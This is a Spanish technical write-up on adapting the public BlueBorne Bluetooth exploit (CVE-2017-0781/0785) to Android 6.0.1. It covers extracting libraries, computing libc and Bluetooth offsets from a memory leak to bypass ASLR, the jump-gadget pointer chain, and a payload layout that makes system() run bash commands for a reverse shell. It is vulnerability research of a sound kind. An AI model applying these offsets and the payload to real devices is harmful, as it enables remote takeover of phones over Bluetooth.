BlueBorne RCE en Android 6.0.1 (CVE-2017-0781)

Hace pocos dias, la empresa Armis publicó una prueba de concepto (PoC) de una vulnerabilidad de ejecución remota de código en Android a través de Bluetooth (CVE-2017-0781), conocida con el nombre de BlueBorne. Aunque BlueBorne se refiere a un conjunto de 8 vulnerabilidades, esta PoC utiliza únicamente 2 de ellas para lograr su objetivo.

El proceso de explotación se divide en 2 fases, en primer lugar se utiliza la vulnerabilidad de leak de memoria (CVE-2017-0785) para conocer las direcciones de memoria y bypasear la protección ASLR, y de esta forma realizar una llamada a la función system de la librería libc y ejecutar código en el teléfono, en este caso una shell reversa.

El código fuente original de la PoC de Armis esta orientado a Android 7.1.2 en los teléfonos Pixel y Nexus 5X, y se da a entender que para utilizarlo en otro modelo tan solo es necesario modificar en el código los offsets de las librerías libc y bluetooth.

Mas adelante veremos como en la versión 6.0.1 analizada, los cambios en el código de la librería de bluetooth son significativos, complicando la explotación y obligándonos a realizar más modificaciones en el código de la PoC.

Para realizar algunas de las acciones siguientes es necesario disponer de privilegios de root en el teléfono.

Descarga de las librerías

El primer paso consiste en extraer las librerías para poder analizarlas en nuestro ordenador con IDA o Radare.

$ adb pull /system/lib/hw/bluetooth.default.so
$ adb pull /system/lib/libc.so

Función system de libc

Abrimos libc.so con Radare y buscamos la función system. Como podemos ver se encuentra en la dirección 0x3ea04, que introducimos en la variable LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1.

$ r2 -A libc.so

> afl~system
0x0003ea04   10 184          sym.system

Leak de memoria

La fuga de memoria nos permite descubrir en que dirección se han cargado las librerías libc.so y bluetooth.default.so.

En el modelo analizado, los elementos necesarios no se encuentran en la misma posición de la memoria extraída, por lo que deberemos buscar los valores que apunten dentro de las librerías y modificar el siguiente código acorde a esto.

likely_some_libc_blx_offset = result[X][X]
likely_some_bluetooth_default_global_var_offset = result[X][X]

Para realizar esta tarea necesitamos obtener un dump de memoria, y el mapa de secciones del proceso com.android.bluetooth. Es importante obtener estos datos en el mismo instante, ya estas direcciones cambian cada vez que se reinicia el proceso.

$ ps | grep blue
bluetooth 2184  212   905552 47760 sys_epoll_ b6ca7894 S com.android.bluetooth

$ cat /proc/2184/maps|grep bluetooth.default.so
b376f000-b38b0000 r-xp 00000000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b1000-b38b4000 r--p 00141000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b4000-b38b5000 rw-p 00144000 b3:19 1049       /system/lib/hw/bluetooth.default.so

Buscamos en el leak de memoria un valor entre 0xb376f000 y 0xb38b5000, por comodidad utilizo el script CVE-2017-0785.py

$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b3 7.\|b3 8."
00000050  00 00 00 00  00 02 00 01  00 00 01 00  b3 85 e3 b7
00000060  00 00 00 00  ae df c5 f0  ac b6 19 10  b3 8b ed 84
...
000000f0  b3 8b ed 78  00 00 00 00  ab 10 2e 10  ab 12 af 50
00000100  ac b6 11 f0  b3 8b ed 78  00 00 00 00  b3 85 e4 7d
00000110  00 00 00 00  b3 85 e3 b7  ac b6 11 f0  b3 85 b9 11
00000120  ac b6 11 f0  b3 8b ed 84  b3 84 8c 8d  b3 97 f5 2c
...
00000180  00 00 00 00  b3 8b 3d 80  ae e1 55 ec  ae e1 56 cc

En mi caso he utilizado 0xb38b3d80 (Linea 180), calculamos el offset y actualizamos la variable BLUETOOTH_BSS_SOME_VAR_OFFSET, sin olvidarnos también de actualizar el elemento de la tabla result del que hemos obtenido este valor.

Para calcular la dirección base de libc seguimos el mismo proceso.

$ cat /proc/2184/maps|grep libc.so
b6c67000-b6cd9000 r-xp 00000000 b3:19 1118       /system/lib/libc.so
b6cd9000-b6cdd000 r--p 00071000 b3:19 1118       /system/lib/libc.so
b6cdd000-b6ce0000 rw-p 00075000 b3:19 1118       /system/lib/libc.so
$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b6 c."
00000080  00 00 00 00  00 00 00 00  00 00 02 a8  b6 ce 92 e8
000000a0  00 00 00 08  ab 1b 04 c8  b6 cd c5 94  00 00 00 01
000000b0  b3 99 18 20  b6 cb c3 cf  ab 1b 04 c8  ae df c8 68
000000c0  ae ed 10 00  ab 10 2e 10  b6 ce 93 0c  ab 1b 04 c0
...
00000350  b6 cd c5 94  00 00 00 01  ab 10 44 3c  b6 cb c3 cf
00000370  b6 ce 93 0c  ab 1b 04 c0  b6 cd c5 94  ab 1b 04 c8
00000380  ae ea 04 20  b6 cb f2 5b  00 01 00 00  ab 10 2f 00
00000400  00 00 00 01  b6 cb 05 c3  ab 10 44 30  00 00 00 00

Con cualquiera de estos valores calculamos el offset y lo introducimos en la variable LIBC_SOME_BLX_OFFSET

A partir de este momento ya podemos olvidarnos del ASLR.

Actualización

Con este código podemos mostrar el leak de memoria de la variable result del script.

def print_result(result):
    i = 0
    for line in result:
      sys.stdout.write("%02d: " % i)
      for x in line:
        sys.stdout.write("%08x " % x) 
      else:
        sys.stdout.write("\n")
        i += 1

Además, si tomamos muestras de varios procesos podemos compararlos para ver que valores no cambian y tomarlos como referencia.

$ python3 diff.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
02: 00000000 00000000 00000000 00020001 a___0700 _____061 00000000 b6d__d59 _____481 
03: ________ 00000000 00000008 _____541 _____1e3 00007530 00000000 ________ _____534 
04: ________ _____534 a______0 _____463 _____481 ________ 00000000 00000000 ________ 
05: _____783 a______8 ________ _____000 a_______ b6d__274 a______0 b6d__594 a______8 
06: ________ b6d__eeb ___0____ 00000008 b3______ _______0 _____f50 00000000 a_______ 
07: b3______ _______0 _____f50 00000000 _____bad 00000000 _____adf _______0 _____061 
08: _______0 _____f58 _____481 _____bd8 00000000 0000000f ________ _____1e3 00007530 
09: 00000000 _____bd8 _____534 _____bd8 _____534 _______0 _____463 _____481 _____bd8 
10: 00000000 00000000 _____bd8 _____783 _____481 _____bd0 0000____ _______c _____d34 
11: _______c _______b _______b 00000002 _____053 _______b 0000000_ 00000000 b4d____0 
12: _____090 00000004 _____538 b6d__035 00000000 00000000 00000005 00000348 000005f0 
13: b6d__250 ________ 00000005 _______0 _____000 00000008 a______8 b6d__594 00000001 
14: 00000000 b6d__03f a______8 _______0 _____000 ________ b6d__274 a______0 b6d__594 
15: a______8 _______0 b6d__eeb 00000000 _____c9d ________ 4000____ a______0 00000003 
16: 00000000 a______0 a______8 ________ 00000004 _______c 00000006 _______c _____4c1 
17: 0000004_ _______4 ________ 00000000 _____4e5 00000006 ________ 00000014 _____827 
18: _____f3c _____75f fffff855 _____581 _____618 b______0 _____607 _____f5c 0000000f 
19: 0000000f 00000001 00000000 0000000f _______c _______4 ________ 00000000 _____bd7

Variable REMOTE_NAME

Esta variable contiene el nombre del dispositivo que realiza la conexión y en la PoC de la versión 7.1.2 es utilizada para introducir la dirección de system y el comando de bash utilizado. Mas adelante se detalla para que utilizaremos esta variable.

El método que he seguido para encontrar la dirección de memoria de esta variable ha sido utilizar GDB con PEDA-ARM y la función de busqueda en memoria searchmem. Este offset se introduce en la variable BSS_ACL_REMOTE_NAME_OFFSET.

Payload

Como vemos en el detalle técnico de la PoC de Armis https://go.armis.com/hubfs/BlueBorne - Android Exploit.pdf, si sobrescribimos R0 con la dirección de REMOTE_NAME, la función btu_hci_msg_process realiza un salto a la dirección contenida en [REMOTE_NAME+8], dejando en R0 la direccion de REMOTE_NAME.

mov r4, r0
...
ldr r1, [r4 + 8]
mov r0, r4
blx r1

Por tanto, en este caso introducimos la dirección de memoria de la función system en REMOTE_NAME+8. El argumento que ejecutará la función system es el contenido de REMOTE_NAME, por lo que al tener la dirección de system dentro de esta causaría un error. La gente de Armis soluciona este problema utilizando la siguiente estructura, en la que se separan los 2 comandos con ;, dejando la dirección de system en la posición 8.

Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'

En la versión 6.0.1 de Android no es posible realizar la explotación de la misma forma al no existir esta misma función en la librería. En cambio, dentro de las funciones explotables, he utilizado la función 000f1e36 que también nos permite controlar la dirección de salto y el valor de r0.

Estas son las instrucciones que nos permiten controlar r0 y la dirección de salto.

ldr r0, [r0 + 4]
...
ldr r3, [r0 + 8]
ldr r0, [r0]
ldr r2, [r3 + 28]
blx r2

Simplificando, tenemos la siguiente ecuación, siendo x el valor de 4 bytes que controlamos.

salto = [[[x+4]+8]+28]
r0 = [[x+4]]

Para conseguir nuestro objetivo necesitamos utilizar tres punteros para controlar el salto, y uno para controlar el r0; cuando originalmente solo era necesario uno que apuntara a system.

El payload utilizado como REMOTE_NAME sigue la siguiente estructura.

0                  4      8           12       16              X
+------------------+------+-----------+--------+---------------+
| shellscript_addr | name | name - 16 | system | bash_commands |
+------------------+------+-----------+--------+---------------+

Dirección de salto:
1 : [name+4] = name
2 : [name+8] = name-16
3 : [name-16+28] = [name+12] = system

r0:
1 : [name+4] = name
2 : [name] = shellscript_addr

Ejecución

Una vez terminado el código, lo probamos y observamos como al igual que la PoC original, es necesario lanzarlo varias veces para conseguir una explotación satisfactoria.

Código

blueborne-nexus5.py

diff.py

Armis BlueBorne Android Exploit PoC

Agradecimientos

borjmz kifo kalrong